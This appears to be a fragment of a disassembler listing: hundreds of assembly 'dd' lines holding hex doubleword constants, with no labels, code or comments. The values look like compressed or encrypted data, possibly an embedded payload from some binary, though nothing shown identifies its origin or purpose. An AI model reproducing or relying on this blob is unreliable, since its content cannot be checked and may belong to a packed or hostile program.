		dd 59A3380Ah, 904E39h, 0FAD9018Dh, 1E6B6440h, 40292716h
		dd 0CCFEE328h, 0CB005CA3h, 0CA6A3CC3h, 1C2A78ADh, 0CE8E5064h
		dd 0EA009820h, 33A2877Bh, 58ACB600h, 0AFBB7A5h,	67D70047h
		dd 87280C3h, 2E03481Eh,	612C7749h, 20ACA060h, 93AD0E90h
		dd 70005D7h, 0A5DCF47h,	7F49D800h, 0D9412C2Bh, 929F0EAFh
		dd 5FEED67Ch, 6AB0B9E0h, 99006E63h, 758BD808h, 3A37F4h
		dd 645694A5h, 39A1EC3Bh, 130047EAh, 0EA20188Eh,	0E930C04h
		dd 342EDC94h, 0CC66DE20h, 161CE849h, 89C08E1Ch,	0EC8A90CBh
		dd 0B0447701h, 6AF025h,	0C8B56D3Ch, 50380C49h, 66AA6500h
		dd 0E0B1F707h, 2DD20010h, 0C905F62Eh, 0F300CA9Eh, 29FFB77Ah
		dd 1B5CBDh, 0BFD494CFh,	842FAF8Ah, 23398C00h, 9B566DDEh
		dd 457900C2h, 245F838Bh, 71002736h, 0B51CE713h,	1DC6F65Eh
		dd 0D0A273h, 0AB320D9Fh, 0BC0F4A94h, 2770DC31h,	0D0707711h
		dd 7A8F73h, 0BE6323C4h,	82C0E978h, 53F28B77h, 47905C00h
		dd 0C4560A65h, 1EE00209h, 4C48CE2Fh, 0EB4DE07Dh, 996300D8h
		dd 24732B4Dh, 7A0730B9h, 1F9ADA0Ch, 9FB13200h, 0B2450026h
		dd 6D4CA02h, 4A00626Eh,	0C391A989h, 81A2E6h, 3DB7328h
		dd 0F3B47154h, 0FDF75A00h, 68729036h, 3AC70083h, 0A51A7730h
		dd 0B042AE5h, 1CC5D17h,	0E8FE61C3h, 0D0702h, 0BE7BECF1h
		dd 0BC347D3h, 75A92000h, 50654424h, 332800A8h, 37C2ED09h
		dd 0EA0302DDh, 584FA774h, 0BE46E815h, 472B003Ch, 8582C5EEh
		dd 94008C09h, 0DDCC123Bh, 0FE9DAF5Bh, 50F2A03Dh, 0F15100ACh
		dd 233B631Fh, 0EE007936h, 6C7F7B1Dh, 7830DA9h, 19A8FCA1h
		dd 0B7930063h, 1800387Ah, 0DE0F4221h, 873EB1h, 40EE7080h
		dd 0AEA28FF5h, 0C6CB5F00h, 4CE77E56h, 2D760012h, 9DA1698Bh
		dd 6EB871EEh, 2A0A5A01h, 5130BBEAh, 3B1E90D8h, 5E8164D6h
		dd 5F17DC1Bh, 0BA65F898h, 83C7D20Eh, 60FC63ACh,	0DDF188C8h
		dd 0E4E30038h, 0D91136F8h, 2E01F3D6h, 81991DB0h, 0ECCC48Fh
		dd 77F60019h, 519ECAA0h, 9F0104D0h, 0AC414CAAh,	0E3E41E0Bh
		dd 1B3007Bh, 80238378h,	2239177Dh, 1F4200FFh, 0A41B05A0h
		dd 1C8500B2h, 48A11D88h, 2E0014E2h, 796BC47Bh, 0B4DCB1h
		dd 0CAF6AE8Ch, 1C32B0CFh, 0D4817800h, 8F7C6504h, 37B4005Fh
		dd 0AC30F6F3h, 1800C938h, 0A3780794h, 3BCF22h, 5686354Eh
		dd 0B4112BDFh, 6457BD00h, 1CF362C7h, 51E60029h,	166F903Eh
		dd 0C3000A44h, 0E13B31C6h, 0F896CEh, 5129579Ah,	6CD07054h
		dd 7CC6B71Ch, 41D5000h,	0A564F1h, 750E2F1Bh, 703D1529h
		dd 250FDC7Ch, 4FEA9F26h, 0A8D6027h, 597562h, 0B6AE344h
		dd 9C69D06Ch, 68409100h, 7635FE6h, 0C8C0013h, 9A76BA32h
		dd 43074224h, 5E808D94h, 7E2030C0h, 536503F3h, 675C2644h
		dd 9C1F4C8h, 25C01F00h,	7F19FC1Eh, 0FDB8006Bh, 93414FADh
		dd 0EA00F3EFh, 865A7D9Bh, 0AF01B49h, 0FD8E6810h, 15701A6h
		dd 309CE883h, 847767CAh, 153AAF00h, 8AE475A3h, 8653000Ah
		dd 612D1CC1h, 0F309D047h, 825B9F44h, 0E023DF6Eh, 0CCBC98h
		dd 34B7483Eh, 86B2BBD5h, 97CFD300h, 1339B392h, 443F00F9h
		dd 0FE1AE89Dh, 0C00F59Fh, 614BEEBh, 3AE46F1h, 9350D154h
		dd 0AAA83E65h, 0CE00909Fh, 0FBEA2924h, 10212Dh,	0D71BF2F9h
		dd 0D2B78996h, 3DAAD800h, 8E9F0B78h, 0E46D0074h, 0F132F622h
		dd 42262DBBh, 55075A19h, 0BF90C2DFh, 78AB33Dh, 234CAEF2h
		dd 32D260A6h, 88005195h, 1099FF67h, 1FA350Ah, 9666EAF9h
		dd 0E8290EC4h, 1B0052CCh, 8B50A3FFh, 7F6C79h, 758EF7E9h
		dd 10924CCDh, 2B0B0200h, 9858AD16h, 0B16504C4h,	0C03EE09Dh
		dd 0A5839C1Ch, 0C846FC00h, 1C7773CAh, 67360052h, 9F89FA70h
		dd 79005F88h, 9AE15834h, 7DBFECAh, 871EB613h, 66444728h
		dd 0E4007C2Dh, 0E19B7733h, 2EE9DB19h, 0E0F24Bh,	1FB46E89h
		dd 6A1F8FD0h, 3440D16Ch, 1C42AC03h, 0B3598A6h, 1DF324B8h
		dd 0F700CDF0h, 60E7468h, 115F02h, 0D6F6D0Bh, 0DA335E38h
		dd 583B3600h, 6BD51CF1h, 7DBD1D91h, 0F3C04024h,	0E4064151h
		dd 463BA400h, 8A09AB4Fh, 0B97401h, 1A5B612Ah, 0BC04F7F1h
		dd 0E5196C00h, 1DFED289h, 213707F2h, 20A9C46Dh,	0A05E54C3h
		dd 3F240D00h, 226569B0h, 4CA51D57h, 0D92D8953h,	0B37F6980h
		dd 5871FFCFh, 3C4B1100h, 17C1C9D7h, 0BBCD00B5h,	8AF7BB6h
		dd 4C007209h, 18C38240h, 1B8678Fh, 0CE657A3Fh, 0C81C4D4Bh
		dd 3900D5B3h, 0E2962757h, 4CEF9Ah, 985E59B7h, 67A3DB7Fh
		dd 9E72531Fh, 0B3255C00h, 0E0BEE6FDh, 93C61EAAh, 7DB443C0h
		dd 8EE30F2Ah, 6F2B9EA0h, 81966A3Dh, 246B997Eh, 88C84190h
		dd 0BBDA3C3Bh, 6000BE3Eh, 34E3F095h, 0CF008F94h, 15FA068h
		dd 18CE03h, 82EF41DCh, 6186E970h, 1DE7134Ch, 0B480B23Fh
		dd 6DC8FF53h, 0B9FE26h,	325815BEh, 88D2AADAh, 81363Fh
		dd 0A573D65Eh, 0C879430h, 70D04B3Ah, 970E78AAh,	20F64811h
		dd 71BA9CCh, 0BE4A3B75h, 27E201FDh, 0EE55A1C8h,	9BC8EB4Dh
		dd 33033BACh, 0E8CF78F5h, 2969A9D9h, 0A126D4h, 8367813Ch
		dd 0A9EBA4EAh, 34A7E500h, 3957974Eh, 0DFFE09h, 612FE699h
		dd 9BC919D9h, 6BFD7C00h, 68EBBDB1h, 2BAF000Eh, 9F733EC4h
		dd 0E9F4768Ah, 0C294BA00h, 1CAAD669h, 60840090h, 1B15015Dh
		dd 5A1D6BF8h, 0D180DAADh, 808248BDh, 0DE1900E7h, 0E4469439h
		dd 6800DC9Bh, 38C48936h, 494CFFh, 0C97E241Ch, 84F16272h
		dd 4701DE7Fh, 232A5D7h,	3DCC29FBh, 5BEA00DDh, 355F469Ch
		dd 432C62B7h, 3C6E32h, 7F7D9A33h, 0AD6FB2h, 0D3FC51DEh
		dd 0A240C010h, 9100837Eh, 45541B24h, 0E6D559h, 0D98014E8h
		dd 4297DA6Eh, 8646691Eh, 0EF219C81h, 85F48EA7h,	4FD11CEEh
		dd 0A2A4C098h, 74282A41h, 0C5076A00h, 0B830A12Eh, 0B8B07CBh
		dd 606EE664h, 36153D6Bh, 0AAC0900h, 5ACC3B0Ch, 6980024h
		dd 1E5B8EE3h, 87076FF1h, 95FFA87Fh, 4EC6E30h, 7EC00019h
		dd 0C34743Ch, 0AC0088E3h, 42290D79h, 6225E4h, 0A5A37C73h
		dd 0E3C1DE38h, 36BB80BDh, 0BA567Fh, 6B96E4D1h, 84323E08h
		dd 0C00A9B8h, 66167E8Fh, 4F4026h, 0AAF8060Bh, 0B9493C2Ch
		dd 3500F178h, 926DBC8Fh, 13B66Bh, 3BC50CF7h, 714F6F10h
		dd 0A2008670h, 15203DAFh, 3FE1C99h, 0A423F785h,	79D0A687h
		dd 740061DFh, 0D582971Ah, 680E62h, 3AE16027h, 92054590h
		dd 0AF93BB03h, 0FEE2B1A7h, 8290372h, 9B8F0E57h,	20B328A8h
		dd 7C958h, 0AEA64A9h, 219270h, 33758550h, 8CECBD61h, 0A969E700h
		dd 0F0FC3536h, 3B9C00F1h, 0CF88063Ah, 0CE0F265Ch, 607765EAh
		dd 0A0E48961h, 0D03D2CBCh, 87B3073Ah, 0FFB2F0CBh, 0AF3969E1h
		dd 5F7E00BBh, 243B2F30h, 6D870099h, 1DE7E30Bh, 4600EAC7h
		dd 4DF93FA4h, 78E625h, 8E9D7271h, 0B281701Bh, 803ECF3Ch
		dd 5D61D5DEh, 196D1Dh, 9C292234h, 3B131A52h, 548DCF00h
		dd 0D16515FEh
		dd 1CA20385h, 5F0F63BCh, 275DA9B8h, 432258h, 0E37473EFh
		dd 0E72EE0h, 8C1F6587h,	1AC71EF4h, 840B1800h, 10CA2F93h
		dd 0A76E5h, 8D47C99Ch, 7AEA1BFCh, 331E42F0h, 59002857h
		dd 0FEAFB8CAh, 870801EEh, 108DF2FCh, 0A436E4A6h, 3DF5921Dh
		dd 9CF731C0h, 0D00498h,	1BB29D9Fh, 0A5C34295h, 2CA0395Ah
		dd 0CF6000A3h, 8CDA3628h, 240778E3h, 83AA1DEh, 0A6D8CA40h
		dd 0F9175CDDh, 427F111Ch, 0D1FABE72h, 0EFB93560h, 50B2301Dh
		dd 10E20A00h, 0A6017Ah,	72435EE9h, 879ECA80h, 88E7BD00h
		dd 3C1D9ECh, 3A4A7F62h,	8E00A91Dh, 75DA9404h, 9D1F2738h
		dd 817B0185h, 0D486E51h, 3D02928h, 0C31000FFh, 7246740Ah
		dd 32000887h, 0E89E993Dh, 7527893Bh, 0A32B0004h, 901383C6h
		dd 82A03A71h, 88581E86h, 0F2A80069h, 0E1218070h, 994000CAh
		dd 0F3C59C54h, 220EAE48h, 0A0AB112Fh, 0C3B07883h, 8CD6006Fh
		dd 0C44FE94Eh, 2D07376Eh, 0E5B9E785h, 0C22C5720h, 629800ACh
		dd 10DC1436h, 0C3002B19h, 0B6F9807Dh, 1E97C223h, 3E6DB81Fh
		dd 0C6498D80h, 0A1F3673Dh, 0A9008C74h, 85AA5B09h, 122D0D72h
		dd 0C1AD12h, 0AC300FCBh, 0F83EE628h, 0D67B9C9Ch, 0A0BD1140h
		dd 335CA7h, 4FD55E45h, 2E4CB91Ch, 0F0EDF503h, 0C8EB4070h
		dd 12679F9Eh, 1FFC45EEh, 0CACD8072h, 0B620E2F8h, 775E6404h
		dd 0C3801D26h, 387C0918h, 1F72D6C7h, 40D0B119h,	0BB23D148h
		dd 3601E33Bh, 3731B08Fh, 0EED8EAFFh, 2D6F00C5h,	0F3BDF93h
		dd 5A0FF85Bh, 0C01162B9h, 87E6DAB5h, 50F400A9h,	6B0F7E1Ah
		dd 0A7058683h, 4A47BCFFh, 8B906C0h, 5717B56h, 0E9CFEF48h
		dd 306D80A9h, 609D0DEh,	5F263FD1h, 0DFC4EA00h, 83003ED6h
		dd 0CE1270CBh, 3DF7EFD3h, 9E00FDA2h, 0D925BA73h, 910F5FFEh
		dd 0E0D79202h, 0ECAB4D72h, 2DB98F0h, 0CE426152h, 1240A7ACh
		dd 0E2009AF5h, 0DAC79B49h, 794C18h, 0D320987Fh,	24E0E7B9h
		dd 0EE54A00h, 1A115554h, 0CFEB00BBh, 63CB733Fh,	2900BFE8h
		dd 21FB5925h, 8495F7h, 4266374Eh, 2DA01BC4h, 1FC7E33Ah
		dd 890EB077h, 609A80F8h, 1A3E421h, 94CDC273h, 0FC6F1522h
		dd 0E100D8F7h, 342ADA5Dh, 2CC1B39Fh, 0F1BC62h, 43DB0516h
		dd 0BE00DF9Ah, 0E4F7F86Ch, 0FDFC92h, 5803E2Eh, 41F2C51Bh
		dd 0AE00A9FEh, 0EF087B68h, 4877A94h, 0F4933D38h, 0D727806Dh
		dd 0EE005391h, 1D987163h, 3FE6EAh, 262031F0h, 175FB2F4h
		dd 0A3008CECh, 95A783B5h, 7109303h, 0F072C1D6h,	411D301Ah
		dd 4C7B77F7h, 0F2CD5D0Eh, 96ACE095h, 123702h, 0EB9E7D34h
		dd 5DA0288Eh, 80C2413Dh, 2A402B60h, 7B19808h, 0B6EFE637h
		dd 0D1D3A0F7h, 8400490Eh, 5FF4F43h, 6A962Dh, 0C4568B2h
		dd 0B03A645Bh, 0EB66F403h, 8687129Eh, 3EB4C0EEh, 0D5AEA6CDh
		dd 0BA17C924h, 86202C00h, 0F9CADAh, 0C6671D56h,	29605E55h
		dd 0E99B3000h, 18390DE2h, 0F13B008Ch, 0B5A4BB74h, 0CC008B58h
		dd 1032FF34h, 31E7E4h, 6BCD2481h, 623918AAh, 7AADB300h
		dd 5C1A4D77h, 0D35800F4h, 71CA08C9h, 9B008C60h,	8A3D9293h
		dd 0C2AAB1h, 0BAF3DA9Fh, 9E8B4E82h, 8E416100h, 76C89774h
		dd 0EF6C00A3h, 9BEB83C0h, 0A40F0F3Fh, 5907F0h, 887F29E1h
		dd 19AC0E93h, 55C07E8Eh, 6EF9E973h, 5C819700h, 0DDB357F3h
		dd 0D6EAB5h, 73F01321h,	0DFA260ADh, 0CC006798h,	0FAAA504Bh
		dd 0C85C82h, 59524824h,	0B86B8A73h, 0BC634600h,	54EFA8C0h
		dd 3D27694h, 8F17D0FDh,	0BAC8215Ch, 0E100B7DDh,	0A08D960Bh
		dd 729351Eh, 26A5F5Ah, 0FAB13088h, 400451Bh, 90FDEA4Bh
		dd 0E7B03Dh, 9922210Fh,	0BBC52CABh, 0CCD8B200h,	0F16D3945h
		dd 8A43005Dh, 94C0F5C3h, 40F8C26h, 3A723Bh, 9BF52F8h, 5B07008Ah
		dd 0AD4F77D8h, 0CF007F2Ch, 7332DD8Fh, 3FFF3EEEh, 8900CAABh
		dd 8CD99A66h, 2E3B850Ah, 0B6DB0014h, 18A62353h,	0FAAE0083h
		dd 0CA287E6Ah, 0FD005257h, 6FB3017Bh, 3951F11Fh, 8A00F2AFh
		dd 1A1C2A3Ah, 4A008861h, 3115DE07h, 1D1B87Eh, 6CDDDBE8h
		dd 0CCEC75ABh, 70074D41h, 0A3FF4E46h, 0FB9737F0h, 771F0F78h
		dd 252099EDh, 0CD05708Bh, 0BAF77950h, 0AF0080FAh, 0EB5DB985h
		dd 0BCB433h, 19D49C11h,	43C1A56Dh, 282FFB00h, 7FFCDE40h
		dd 776A00D7h, 0BCA96207h, 250EC9E8h, 0E09E96DBh, 4E6F5BB7h
		dd 0B5CE0073h, 473477CCh, 0BF003191h, 5164BB8Dh, 4C8BBEh
		dd 0E3567C87h, 24675A54h, 0A37E3200h, 0E931CDF1h, 0B8F80E6Eh
		dd 0B360205Dh, 671A4140h, 0E37B512h, 27484305h,	3C8D39C0h
		dd 6F96003Bh, 79E3EB1Ch, 2E81BCCh, 64AB500h, 0F65ACE9Dh
		dd 0BEE648h, 0F24464C7h, 0EC5C238Bh, 28A47603h,	0E8480974h
		dd 0FB6B4A1h, 327A4EEDh, 0EF4D08A0h, 82011365h,	0A04FBD0h
		dd 5FC590B7h, 0B53021F5h, 0AF750083h, 51443555h, 813CCBE8h
		dd 200D0E6Dh, 4BEBE08Dh, 3F0574E2h, 1F80BB5Fh, 53D84079h
		dd 0D100F98Eh, 61FFA2F1h, 0F67AF873h, 0EA6D00A8h, 9C399947h
		dd 800EEBACh, 20B2B72Fh, 549133D3h, 0B83B00D4h,	3415E04Ch
		dd 0B60074EAh, 708796C1h, 0FBDE63h, 0A6A514F5h,	49F6247h
		dd 0ECEE7B01h, 93D8D710h, 4BF5C0h, 0E56D2ACDh, 7FF86D1h
		dd 0CBF4EE00h, 28E773ACh, 72EC00E3h, 0DB4B1B1Ah, 0D2033BCEh
		dd 0AA2F3E93h, 24F3D088h, 63D53E99h, 0ADF03281h, 0E4AFBBBAh
		dd 27021CABh, 0DDECC658h, 0C7E057E0h, 0C100D21Eh, 95FBEBB1h
		dd 10FEF07h, 61C6DABFh,	0E0DB69F1h, 0B30066F0h,	29AFCD31h
		dd 0BB3996h, 0EFA4FD1Bh, 0E106F91Dh, 9C98BE00h,	1BDED74h
		dd 0DD6900C1h, 9F2879F2h, 0A300A573h, 6254C950h, 35CAAF6h
		dd 8AE33639h, 86834738h, 213FDAD0h, 1669571Fh, 0D7E8B980h
		dd 0F14DFh, 8DD43B3Ah, 588B8E4Ch, 68F86700h, 924BA3E1h
		dd 0B7910712h, 504DAA0Ch, 56FE0282h, 25228500h,	3103F48Fh
		dd 7389169Bh, 0FAA4007Ch, 9DCFB680h, 0DF7E5500h, 70B07F10h
		dd 79AE0E5Ah, 69C296F0h, 34E00DACh, 7B038A53h, 15EF6307h
		dd 0AD9BD8D9h, 2ECB0229h, 190920B5h, 0F1A170C0h, 812A4400h
		dd 0F9451043h, 1D7800C2h, 2F23CDAEh, 0C4009969h, 0A440EC7Dh
		dd 97618Bh, 6ED7DCD9h, 83325CFEh, 482B8000h, 7F8BE372h
		dd 0C89E00B1h, 8E14E0D2h, 6F004930h, 98C29FEAh,	9C65A4h
		dd 16325806h, 4A113CBAh, 12369500h, 0EE2654DDh,	6A8900AEh
		dd 0F98AB473h, 0DE0FC13Eh, 0A292346Dh, 0C0703B51h, 1FA02Fh
		dd 1509BEF3h, 0D177E0A9h, 690117F0h, 0B085E6BAh, 5C20414Eh
		dd 0F1DD004Dh, 0EA3625A8h, 0D5001E17h, 8EFA19D3h, 1F90D40Ch
		dd 243AEDh, 5EBC39C9h, 0C5008064h, 27DECE4Dh, 9D881D87h
		dd 614E3EE0h, 4CEED507h, 7A639857h, 25788972h, 8752F8h
		dd 0A2F9391Ah, 0D9C8D189h, 8E59B300h, 5336064Bh, 12EB00F6h
		dd 82C52286h, 13E475FCh, 0D5F07EFAh, 4AF01D00h,	0CC441253h
		dd 1F9200C4h, 8057B7A0h, 0E2006023h, 0B4850573h, 2CF5ABh
		dd 0E9FC51D2h, 3AC94D0Fh, 611EE0Eh, 667E2050h, 40FBE6h
		dd 0E7D7C34h, 0E2B5B34Eh, 18B83800h, 362E3D14h,	22512C4h
		dd 15CD0060h, 0AC523563h, 1DBF3Fh, 0CEE07C31h, 75D2F5h
		dd 5F378099h, 409248Ch,	36F14903h, 0E0E0AE27h, 87D30Ah
		dd 1E1AC19h, 6E3A626Dh,	4D00EB75h, 0A62AF6A8h, 1DF9FAFh
		dd 0F2CCE715h, 0C4998CE3h, 0C5002936h, 6B47ED5Bh, 0F0D5FB9h
		dd 0D3BEDF05h
		dd 5024F2C0h, 3A00DEADh, 64F1DF4h, 3083EF7h, 8D0382D8h
		dd 0F880CC2Ch, 421201A4h, 94A05E02h, 0B73E0018h, 986B7081h
		dd 0E774CAFCh, 114B9100h, 0FA167EB8h, 0DCB050h,	0F7FF44C5h
		dd 77F37A52h, 0CF112E00h, 56E706E1h, 0D13F001Fh, 0FD398E46h
		dd 2D12B9F3h, 0E0009651h, 249CAF1Eh, 5727006Bh,	8EDDF729h
		dd 7600E387h, 50A128Bh,	7CC537A0h, 0AFCF3AEEh, 9942580h
		dd 34ECF3F0h, 0C100B27Fh, 9897B9BDh, 0BB24A1h, 6B6D3D88h
		dd 81A9337Ch, 2D755100h, 0FE4EA22Fh, 3D1500DAh,	66C18A5Eh
		dd 6B007F54h, 0ACC4DBD5h, 1E61A5E2h, 0D8EA78h, 7ADEF88Ch
		dd 5C00193Ch, 35D981FAh, 9D32DCh, 0BFBAB352h, 8491BE8Ch
		dd 223F6700h, 30474511h, 7A9FE7Eh, 0AE4CFAB5h, 3ED9F0C6h
		dd 0A41FBF9Dh, 4041525Bh, 7D8C2386h, 6A87C4h, 0C4448D97h
		dd 1D53DA49h, 0DB74F51Ch, 8B078F40h, 0D69FFEh, 7E91F01Ah
		dd 79A8FCB9h, 8143EE1Ch, 0E29C7100h, 4FE97Ch, 540D1361h
		dd 0C8049D41h, 0C0E78A7Dh, 57006DECh, 0CAB8A5D1h, 390F1E49h
		dd 5E0082BAh, 0DF19CD7Eh, 4300F9A1h, 2C2E316h, 1CB748h
		dd 2340417Bh, 0E18BBBDAh, 4E4D7F02h, 0C02C58BAh, 92DC511Bh
		dd 87EA001Eh, 1319D9C4h, 590E0720h, 0DEC29160h,	58A3D200h
		dd 0FAC3FAADh, 0D8500E21h, 9805D68h, 474DF9BAh,	4B42F200h
		dd 15E9278Bh, 284500B4h, 2BFC8EFFh, 0B500511Fh,	0E5A947C6h
		dd 1EB7106h, 0FA028127h, 0CCD1D96Ch, 0D200BB32h, 0C7D5CA53h
		dd 260B25h, 3FE15539h, 4CDE3868h, 0E00FC5EEh, 41462076h
		dd 8814EE11h, 0B329DCh,	4C4565A7h, 0E3BB93B1h, 61DE8700h
		dd 0E7473F2Bh, 788304B8h, 0C09D6EC0h, 6D8AA062h, 3D6F9300h
		dd 0B03A3623h, 437A002Ch, 540424D8h, 0AE00C3F2h, 527C9499h
		dd 0DAF59Fh, 0AF01C163h, 97591782h, 2124E201h, 570672F9h
		dd 83D4B4C5h, 6F7C0549h, 0C02FC2ACh, 2CBFE940h,	0CD63A200h
		dd 45937F7Dh, 0CB283FB6h, 4A490800h, 4D4233E8h,	87B5FF3Ah
		dd 9A5E387Eh, 1C285BC0h, 3BB200AAh, 30F21A82h, 0A700B4D9h
		dd 2DE85FDAh, 32602EAh,	0C0C241A5h, 8FA0CE59h, 0E300227Ah
		dd 302B9111h, 0EA5096h,	4F9E2928h, 0B6C0B05Ah, 0E3F42201h
		dd 6F0B9741h, 0AAFC33C9h, 7B7C38h, 0EA573AFEh, 0B78103A6h
		dd 4774C700h, 34C6CE52h, 0E3E60058h, 1D988D0Fh,	0FB1E4CC5h
		dd 900FA427h, 0C999C707h, 1AF9BCE0h, 1045009Ah,	46CFFC8Ah
		dd 7900FB55h, 0A5CC4FDCh, 0B8B6580Dh, 0EC820067h, 55495062h
		dd 6D1C6798h, 180F42Bh,	0AB5D081h, 0D7794Dh, 46C94CFBh
		dd 6531C2A2h, 27002477h, 619BAB35h, 6AF175h, 0C2CAF38Ah
		dd 0E23F847Fh, 7BF570E5h, 5A58AB00h, 0FEFB35E4h, 1A27F0Ch
		dd 9CB0B691h, 0EC1140C8h, 0F53D2F3Ch, 0A28E0424h, 0A7F85542h
		dd 41DE0778h, 377D4599h, 0F594701Ah, 3E0FBBF1h,	0A0FBA627h
		dd 10EAE9E8h, 0E6B0008h, 29F7D591h, 0AD003006h,	2156ED62h
		dd 4498C51h, 7CE6B85Ch,	0D45B8084h, 24003670h, 2E2227CCh
		dd 3A4494F8h, 0B300FEE1h, 0E8E00E17h, 1C1FF156h, 7AC7236Ch
		dd 0D100F67Fh, 6A7D6Bh,	3152DE78h, 0C491139Ah, 0C20B3E00h
		dd 9CAADA84h, 0ED460053h, 0B2A2C359h, 3FB0EBEEh, 544BC100h
		dd 0FD627DADh, 971000ECh, 8874233Bh, 2A0925D2h,	800BBB3Eh
		dd 11A6174Ch, 90381EFDh, 0E4594018h, 0F5FA2C21h, 0C66FF000h
		dd 0FD77FBDCh, 483900B4h, 0F1837C27h, 3AC09D9Ah, 0E9C689BFh
		dd 5BE19F4Bh, 33B06051h, 0A1876C00h, 0F9A2AA2h,	0E94D000Eh
		dd 8A516938h, 91020306h, 0ED7C3E6Bh, 0A026E3F3h, 0B8AF654Fh
		dd 6AFC0012h, 0BAE84BF5h, 12005C9Ch, 196D221Bh,	1E30ABE0h
		dd 5F0CC4C8h, 26AD009Eh, 0CDA518E9h, 900F1CB8h,	80754C3Fh
		dd 0A3F06E15h, 521000B9h, 66D58ABDh, 0C9001DA5h, 9A6FE4F1h
		dd 561F69h, 8B5399Dh, 0A462D52Ah, 4099070Eh, 0C6E4C0A7h
		dd 894AB0h, 0FAE51E58h,	9C8AEE54h, 0C4B29000h, 476B5FB6h
		dd 24DE03FBh, 0D78D648h, 151E2DA0h, 0E1BEFF00h,	76724D4Bh
		dd 0D47D00F0h, 303FFE7Bh, 4000F932h, 187A5E66h,	79ADEE7h
		dd 0BAF34D53h, 63F69015h, 0AF038708h, 7019B259h, 5A0F0CBh
		dd 0C1CC0026h, 0DEFF1846h, 0E300D19Ch, 0AD948965h, 3860EFAFh
		dd 480368D0h, 6DD9ED92h, 155621A7h, 1E3D8A3h, 0A83DB302h
		dd 50787C17h, 0FFD80789h, 0C08A14F1h, 4D1D2CA6h, 7FAEF40Fh
		dd 0CAAFE08Fh, 82ADBCh,	0E9BD5913h, 8470C5C9h, 9705E300h
		dd 1E2FA811h, 0CE49019Bh, 0EED075C1h, 4E39F4C2h, 0C0D7A300h
		dd 89F95368h, 2A870091h, 2E50694Ah, 0B47CCE93h,	0EAB1DD00h
		dd 447443Fh, 4DBA03C7h,	3BDE9B6Bh, 0DFC077D3h, 0C1006862h
		dd 0C5289D84h, 5B53B8h,	0B5A39598h, 0E61E11FDh,	0A5152200h
		dd 6F3ADB16h, 0D41001Ah, 2A0EED4Eh, 5000134h, 0D8DA4D06h
		dd 2C215515h, 543B84h, 0BE163ED3h, 0A200D5DDh, 64959F60h
		dd 1CED09F8h, 40DFDEB8h, 9D5859CDh, 6F001E80h, 0B5145EE4h
		dd 3AA18Dh, 0C17587A5h,	0F64B3856h, 89001370h, 23BDA260h
		dd 73C735h, 38DA88F5h, 0E48A3B19h, 7FE80600h, 8F7D3B2h
		dd 0FB6E00B9h, 53EB9E3Ah, 0A8079617h, 0D440E6B7h, 0CA8FB880h
		dd 60ACC042h, 3F19D1F8h, 0CC32B91Fh, 55D52080h,	0A3AF4Bh
		dd 727360E6h, 53D3B15h,	0AA488F00h, 589AFC54h, 6F1C007Bh
		dd 2D0AAB69h, 0B11CF21Bh, 6EC0A891h, 0FD874D54h, 0F84E001Fh
		dd 0E4FBDDB8h, 803DC86h, 3913CF6Fh, 2BAAC0C4h, 0A54200B1h
		dd 9F6EEBB0h, 677D4FDFh, 71239800h, 64F52637h, 0C9C400B9h
		dd 0FC8892B1h, 0B7015EE9h, 3E6DA88Dh, 67D8853Ch, 391D1F12h
		dd 611900AEh, 0B4D5CD43h, 0A8D7ED0Fh, 2AEB0051h, 0F4A45E7h
		dd 0E3ECA73Ch, 216600B6h, 909DA846h, 0B3357900h, 0C560A176h
		dd 0F5C00026h, 0DC95DD11h, 9F7A0BE4h, 0A70062EEh, 0C8713AB2h
		dd 2F76E2h, 6DDFD91Bh, 444F05B5h, 0D19EEA00h, 25527B2h
		dd 935900DBh, 3130147h,	0DA773A7Bh, 650F5590h, 60FFD223h
		dd 0DB304164h, 397C7BB0h, 0BD014C31h, 8893DF2Fh, 0C049D186h
		dd 2000BFDCh, 8B6BDD35h, 85A599h, 2DD49854h, 0EF931C95h
		dd 0CA3F0A1Eh, 2E28A9C0h, 305C4A5h, 0EA2A2441h,	99E01EFEh
		dd 64007881h, 0B98E7E4h, 595788h, 0B5AAA892h, 2AED7A40h
		dd 5396400h, 0AE66E9Fh,	8D540050h, 0CA4C7923h, 0F200FB1Fh
		dd 0B2650BE8h, 66A44Fh,	3D16DBEAh, 0D1E21784h, 53F06FE9h
		dd 99DF015Fh, 643E90BCh, 28A0FCAEh, 80438538h, 0DB570297h
		dd 3D642CCh, 0A36CCE30h, 0C6C866B4h, 1C0079DEh,	3BC5E8Eh
		dd 0EE867E01h, 0F04E0010h, 0D7AF0A3Ch, 1400762Ch, 5CF4E905h
		dd 7AAABBFh, 59C8A6C7h,	0AFF01019h, 9E00EEF8h, 672E86E2h
		dd 71CF2Ah, 7B0E5B4Eh, 471485CAh, 79DB6007h, 3B20682Eh
		dd 2BC7E8h, 40E55CD2h, 0C897AA32h, 313FE400h, 7D56CA6Bh
		dd 214424EBh, 0A8A4003Bh, 0A7FE8BF5h, 1CBED107h, 4720223Eh
		dd 39535D28h, 55002B32h, 2EB737A5h, 0F000AAEFh,	0C7CC6173h
		dd 1C21B942h, 0C03A6225h, 4BD30BB3h, 370002A4h,	90D793F8h
		dd 6E9E78h, 0D284D455h,	623460D3h, 9809BA00h, 0F7E0174Dh
		dd 0CC901D0h, 4674C36Dh, 0DC3171B0h, 3A79C082h,	3984A948h
		dd 129000Ch, 0B4552ABDh, 6D4900E2h, 0FC9562A0h,	0DB006341h
		dd 44459E67h, 3B17A172h, 9B96C120h, 0D80301E6h,	60A20516h
		dd 8C008D37h, 14A44E99h
		dd 3A11E4Dh, 9C0D8AD9h,	68F080D8h, 0BAEE1D7Eh, 42303Dh
		dd 2790C40h, 18B4C47h, 9E0F4953h, 0F8BC5426h, 957F0703h
		dd 4A003DECh, 2D0C5718h, 0B879F4h, 87D076BDh, 0E4BB2524h
		dd 61B5521Dh, 9600FE5Ch, 0FBA35928h, 0D23F5815h, 5F7C7100h
		dd 0CC43F88Bh, 95905079h, 68768000h, 92C5F49Ch,	1CF37036h
		dd 701E7AEh, 0E0DB4462h, 75B0088Ah, 1CDF590Bh, 1D91005Eh
		dd 3EB1071Ah, 5073D0Ah,	30E304FAh, 146A7E57h, 227AB400h
		dd 0B1F3128Dh, 18A40773h, 10762FACh, 25C43E50h,	0D6E56001h
		dd 4BEF0159h, 82BF4h, 3F675D51h, 1AE47F57h, 0EAD74907h
		dd 7772E917h, 98504042h, 12E1012Ah, 803A4088h, 37D4F0DBh
		dd 31B5D92Ch, 0D1247800h, 7FEEC87Fh, 0B6A800C3h, 6704F347h
